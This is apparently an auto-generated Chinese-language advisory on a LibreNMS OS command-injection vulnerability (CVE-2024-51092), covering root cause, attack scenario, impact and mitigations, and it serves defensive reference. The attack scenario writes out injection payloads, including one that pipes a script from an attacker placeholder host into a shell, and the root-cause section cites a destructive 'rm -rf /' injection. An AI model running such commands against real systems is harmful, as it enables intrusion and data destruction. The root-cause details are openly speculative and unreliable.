CVE-2024-51092 (CVSS 9.1) - LibreNMS before 24.10.0 allows a remote attacker to execute arbitrary code via O
CVE-2024-51092 (CVSS 9.1) - LibreNMS before 24.10.0 allows a remote attacker to execute arbitrary code via O
📋 漏洞概述
LibreNMS 24.10.0之前版本存在OS命令注入漏洞,远程攻击者可通过三个控制器函数执行任意代码。
📋 基础信息
| 受影响版本 | LibreNMS < 24.10.0 |
| 漏洞类型 | OS命令注入 |
| CVSS | 9.1 · Critical |
| CVE | CVE-2024-51092 |
🔬 漏洞根因
AboutController.php中的index()、SettingsController.php中的update()以及PollDevice.php中的initRrdDirectory()函数未充分过滤用户输入的参数,直接将可控数据拼接至系统命令(如shell_exec、exec或popen)中执行。具体分析:AboutController.php可能将用户可控的查询字符串或POST参数拼入About查询命令;SettingsController.php的update()可能将配置项值未严格校验即作为系统命令参数;PollDevice.php的initRrdDirectory()在创建RRD目录时可能使用用户提供的设备名称或路径变量,导致如`; rm -rf /`等注入。推测:三个函数分别对应不同功能入口,均因缺乏输入验证或白名单机制,使得攻击者可通过HTTP请求参数或表单字段注入分号、管道符等元字符来执行任意OS命令。
🎯 攻击场景
1. 攻击者确定目标为运行LibreNMS 24.10.0之前版本的服务器,且可达Web界面;2. 构造恶意HTTP请求,例如向`/about`或`/settings`端点提交GET/POST数据,在参数中插入OS命令(如`; id`、`| curl http://attacker.com/shell.sh | sh`);3. 请求被发送至AboutController.php的index()或SettingsController.php的update()函数;4. 开发者未对参数做转义或白名单校验,直接将其拼入后台执行的系统命令;5. 命令执行后,攻击者可获得Web服务进程权限(通常为www-data),进一步提权或植入后门、窃取数据、横向移动。
💥 漏洞影响
远程未认证攻击者可实现任意OS命令执行,导致完全控制LibreNMS服务端。危害包括:窃取数据库凭证、修改配置、植入后门、发起横向渗透、破坏监控数据完整性,甚至利用主机权限攻击内网其他系统。CVSS 9.1表明该漏洞可被远程利用、无需用户交互、且影响机密性/完整性/可用性全部方面。
🛡️ 修复建议
立即升级至LibreNMS 24.10.0或更高版本。临时缓解措施:在条件允许时,限制对LibreNMS管理后台的访问(如IP白名单、VPN);禁用不需要的端点或增加WAF规则过滤系统命令元字符(如;、|、&、`);审计所有涉及系统调用函数(exec、shell_exec、system、popen)的输入,实施严格的参数白名单或转义。
📎 参考链接
- https://nvd.nist.gov/vuln/detail/CVE-2024-51092
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-51092
- 原始来源(NVD-Latest)
⚠️ 本文由漏洞情报系统自动生成,仅供安全研究与防御参考。生成时间: 2026-05-10 08:09 | 来源: NVD-Latest